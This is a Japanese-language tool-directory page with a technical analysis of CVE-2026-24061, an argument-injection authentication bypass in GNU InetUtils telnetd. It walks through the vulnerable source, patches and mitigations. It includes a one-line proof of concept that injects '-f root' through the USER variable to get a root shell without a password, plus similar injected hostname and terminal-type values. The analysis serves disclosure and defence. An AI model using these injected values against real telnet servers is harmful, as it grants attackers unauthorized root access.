Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-24061 — # CVE-2026-24061 の詳細な技術分析とスキャナー GNU InetUtils の telnetd における重大な認証バイパス脆弱性 CVE-2026-24061 に関する詳細な技術分析とスキャナーです。エクスプロイトチェーン、PoC、パッチの詳細を含みます。 | Kitploit
ツール/GitHubGitHub/buzz075/cve-2026-24061
脆弱性分析エクスプロイトネットワークセキュリティペネトレーションテスト認証
GitHubbuzz075/cve-2026-24061

CVE-2026-24061

# CVE-2026-24061 の詳細な技術分析とスキャナー GNU InetUtils の telnetd における重大な認証バイパス脆弱性 CVE-2026-24061 に関する詳細な技術分析とスキャナーです。エクスプロイトチェーン、PoC、パッチの詳細を含みます。

リポジトリを見る
6ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-24061: GNU InetUtils telnetd 認証バイパス - 詳細分析

エグゼクティブサマリー

CVE-2026-24061 は、GNU InetUtils telnetd における重大な(CVSS 9.8)リモート認証バイパス脆弱性であり、認証されていない攻撃者が即座に root アクセスを取得できるようにします。この脆弱性は、USER 環境変数の不適切なサニタイズに起因し、この変数がコマンドライン引数として /usr/bin/login に直接渡されます。攻撃者が USER=-f root を設定することで、login の -f フラグがトリガーされ、認証が完全にバイパスされます。

影響を受けるバージョン: GNU InetUtils 1.9.3 から 2.7 脆弱性タイプ: CWE-88(引数インジェクション) 発見日: 2026年1月20日 発見者: Kyu Neushwaistein(別名 Carlos Cortes Alvarez)


パート1: 詳細な技術分析

脆弱なコードフロー

1. ログイン呼び出しテンプレート(、約49〜63行目)

telnetd/telnetd.c

この脆弱性は、telnetd が /usr/bin/login を呼び出す方法を定義するコマンドテンプレート文字列から始まります:

root@kitploit:~
/* Template command line for invoking login program. */
char *login_invocation =
#ifdef SOLARIS10
  PATH_LOGIN " -p -h %h %?T{-t %T} -d %L %?u{-u %u}{%U}"
#elif defined SOLARIS
  PATH_LOGIN " -h %h %?T{%T} %?u{-- %u}{%U}"
#else /* !SOLARIS */
  PATH_LOGIN " -p -h %h %?u{-f %u}{%U}"
#endif
;

重要な観察: Solaris 以外のシステムでは、テンプレートは以下を使用します:

  • %?u{-f %u}{%U} - これは条件式で、次の意味を持ちます:
    • user_name が設定されている場合(%u)、-f %u(認証済み自動ログイン)を使用
    • それ以外の場合、%U(フォールバックとしての USER 環境変数)を使用

重大な問題:%U は、未サニタイズの生の USER 環境変数に展開されます。

2. 変数展開関数(telnetd/utility.c、_var_short_name())

テンプレート文字列は expand_line() によって処理され、プレースホルダーを展開するために _var_short_name() を呼び出します。ここに脆弱なコードがあります:

root@kitploit:~
/* Expand a variable referenced by its short one-symbol name. */
char *
_var_short_name (struct line_expander *exp)
{
  char *q;
  char timebuf[64];
  time_t t;

  switch (*exp->cp++)
    {
    case 'a':
#ifdef AUTHENTICATION
      if (auth_level >= 0 && autologin == AUTH_VALID)
        return xstrdup ("ok");
#endif
      return NULL;

    case 'd':
      time (&t);
      strftime (timebuf, sizeof (timebuf),
                "%l:%M%p on %A, %d %B %Y", localtime (&t));
      return xstrdup (timebuf);

    case 'h':
      return xstrdup (remote_hostname);  // POTENTIALLY VULNERABLE

    case 'l':
      return xstrdup (local_hostname);

    case 'L':
      return xstrdup (line);

    case 't':
      q = strchr (line + 1, '/');
      if (q)
        q++;
      else
        q = line;
      return xstrdup (q);

    case 'T':
      return terminaltype ? xstrdup (terminaltype) : NULL;  // POTENTIALLY VULNERABLE

    case 'u':
      return user_name ? xstrdup (user_name) : NULL;

    case 'U':
      return getenv ("USER") ? xstrdup (getenv ("USER")) : xstrdup ("");  // VULNERABLE!

    default:
      exp->state = EXP_STATE_ERROR;
      return NULL;
    }
}

重大なバグ(case 'U'): USER 環境変数は getenv() を介して取得され、サニタイズなしで渡されます。攻撃者が USER=-f root を設定すると、これがログインコマンドラインの一部になります。

3. ログイン開始関数(telnetd/pty.c、start_login())

展開されたログイン呼び出し文字列は start_login() で実行されます:

root@kitploit:~
/* Construct login command from template */
argcv_string (argcv_length (argv, NULL), argv, &login_cmd);
  
/* Execute login - this runs: /usr/bin/login -p -h <hostname> -f root */
execv (argv[0], argv);

エクスプロイトチェーン

  1. 攻撃者が接続(ポート23の telnetd へ)

  2. Telnet オプション交渉が発生:

    • サーバーが IAC DO NEW_ENVIRON を送信
    • クライアントが IAC WILL NEW_ENVIRON で応答
    • サーバーが IAC SB NEW_ENVIRON SEND を送信(環境の要求)
    • 攻撃者が送信: IAC SB NEW_ENVIRON IS VAR "USER" VALUE "-f root" IAC SE
  3. サーバーが USER 変数を処理:

    • getenv("USER") が -f root を返す
    • テンプレート %U が -f root に展開される
    • 最終コマンド: /usr/bin/login -p -h <hostname> -f root
  4. login が -f root を解釈:

    • -f フラグは「認証をスキップ、ユーザーは事前認証済み」を意味
    • root はログインするユーザー名
    • 結果: パスワードプロンプトなしで即座に root シェルを取得!

概念実証

root@kitploit:~
# On attacker machine:
USER='-f root' telnet -a <target_ip>

-a フラグは自動ログインモードを有効にし、USER 環境変数をサーバーに送信します。


パート2: 他の潜在的に脆弱な変数の分析

セキュリティアドバイザリは明示的に次のように述べています:「したがって、他の変数についても同様の脆弱性が存在する可能性があります。」 _var_short_name() の各変数を分析しましょう:

変数分析テーブル

変数名前ソースユーザー制御可能?サニタイズ済み?攻撃対象領域
%UUSER 環境変数getenv("USER")はい(NEW_ENVIRON 経由)いいえ重大 - CVE-2026-24061
%hremote_hostnameDNS/PTR ルックアップ部分的(PTR レコード)いいえ高
%TterminaltypeTERMINAL-TYPE オプションはいいいえ中
%uuser_nameプロトコル交渉はいいいえ中(認証が必要)
%llocal_hostnameシステム設定いいえN/A低
%Lline(TTY)システム割り当ていいえN/A低
%ttty 短縮名システム割り当ていいえN/A低
%d日付/時刻システムクロックいいえN/Aなし
%a認証ステータス内部状態いいえN/Aなし

潜在的に脆弱な変数の詳細分析

1. %h - リモートホスト名(高リスク)

ソース: telnetd.c の telnetd_setup() で getnameinfo() または gethostbyaddr() から設定されます。

問題: 攻撃者が自身の PTR(逆引き DNS)レコードを制御できる場合、次のような値を注入できる可能性があります:

root@kitploit:~
foo -f root

ホスト名として、これが -h 引数の一部になります:

root@kitploit:~
/usr/bin/login -p -h "foo -f root" ...

悪用の難易度:

  • 逆引き DNS の制御が必要
  • 一部の login 実装はホスト名を引用符で囲むか検証する場合がある
  • USER インジェクションよりも複雑

現実世界のシナリオ: IP の PTR レコードを制御できる攻撃者(VPS プロバイダーでは一般的)は、逆引き DNS を悪意のある値に設定できます。

2. %T - 端末タイプ(中リスク)

ソース: Telnet TERMINAL-TYPE サブネゴシエーションを介して受信され、terminaltype 変数に格納されます。

問題: 端末タイプ文字列は攻撃者が制御可能で、サニタイズされていません:

root@kitploit:~
case 'T':
  return terminaltype ? xstrdup (terminaltype) : NULL;

テンプレートでの使用:

  • SOLARIS10: %?T{-t %T} - -t フラグとともに使用
  • SOLARIS: %?T{%T} - 直接挿入

潜在的な攻撃:

root@kitploit:~
TERMINAL-TYPE: xterm -f root

ただし、悪用は以下に依存します:

  • テンプレートが %T を使用しているか(現在は Solaris のみ)
  • login が -t 引数をどのように処理するか

3. %u - 認証済みユーザー名(中リスク)

ソース: 認証交渉中に設定されます。

問題: -f %u パターンで使用されます:

root@kitploit:~
PATH_LOGIN " -p -h %h %?u{-f %u}{%U}"

攻撃者が user_name を操作してシェルメタ文字や追加引数を含めることができれば、権限昇格を達成できる可能性があります。ただし、この変数は通常、何らかの認証検証後にのみ設定されます。

他の変数が低リスクである理由

  • %l、%L、%t: これらはシステム制御の値(ローカルホスト名、TTY デバイス名)から派生しており、攻撃者がリモートで影響を与えることはできません。

  • %d: システムクロックから生成 - インジェクションベクトルなし。

  • %a: 内部認証状態変数 - リテラルの "ok" または NULL を返します。


パート3: 類似のバグパターンを探す

この脆弱性に基づいて、コードベースで検索すべきパターンは次のとおりです:

パターン1: 未サニタイズの環境変数の使用

root@kitploit:~
// DANGEROUS: Direct use of environment variables
getenv("VARIABLE")

確認すべきファイル:

  • telnetd/utility.c - 他の展開関数
  • telnetd/telnetd.c - 環境処理
  • rlogind/、rshd/ - 類似サービス

パターン2: 検証なしのテンプレート展開

root@kitploit:~
// DANGEROUS: User data in command templates
sprintf(cmd, "command %s", user_controlled_var);
system(cmd);
execv(argv[0], argv);

パターン3: コマンド内の DNS 由来データ

root@kitploit:~
// POTENTIALLY DANGEROUS: DNS data can be attacker-controlled
getnameinfo(...);  // PTR lookups
gethostbyaddr(...);
// Then using result in command construction

さらなる調査が必要な領域

  1. ftpd デーモン: 認証およびコマンド処理でユーザー入力がどのように処理されるかを確認

  2. rshd/rlogind デーモン: これらは類似の認証パターンを使用しており、ホスト名や環境の処理に同等の問題がある可能性があります

  3. inetd 設定解析: サービス設定時に信頼できない入力を処理する可能性があります

  4. Kerberos 統合ポイント: プリンシパル名や認証トークンの処理時


パート4: 修正

パッチ1: 先頭のダッシュのサニタイズ(fd702c02)

最初のパッチは基本的なサニタイズを追加します:

root@kitploit:~
case 'U':
  {
    char *u = getenv("USER");
    return (u && *u != '-') ? xstrdup(u) : xstrdup("");
  }

これにより、- で始まる値がブロックされ、フラグインジェクションが防止されます。

パッチ2: 一般化されたサニタイズ関数(ccba9f74)

2番目のパッチは、すべてのユーザー制御入力に対して再利用可能な sanitize() 関数を導入します:

root@kitploit:~
/* Sanitize user-supplied string to prevent argument injection */
static char *
sanitize (const char *str)
{
  if (str == NULL || *str == '-')
    return xstrdup ("");
  return xstrdup (str);
}

すべての潜在的に危険な変数に適用されます:

  • %U(USER)
  • %h(remote_hostname)
  • %T(terminaltype)

結論

  1. CVE-2026-24061 は教科書的な引数インジェクション脆弱性であり、以下の理由により11年間検出されませんでした:

    • レガシープロトコルの前提
    • 複雑なコードフロー(テンプレート → 展開 → 実行)
    • 「信頼された」環境変数のセキュリティレビュー不足
  2. 類似の脆弱性が存在する可能性があります %h(ホスト名)および %T(端末タイプ)変数にありますが、悪用はより複雑です。

  3. より広範な影響: ネットワーク由来のデータからシェルコマンドやプログラム引数を構築するコードはすべて、同様のインジェクション脆弱性について監査されるべきです。

  4. 推奨される緩和策:

    • GNU InetUtils 2.8+ にアップグレード
    • telnetd を完全に無効化(SSH を使用)
    • telnetd が必要な場合は、信頼できるネットワークに制限
    • -f フラグを無視するカスタムログインプログラムを使用
ツールをダウンロード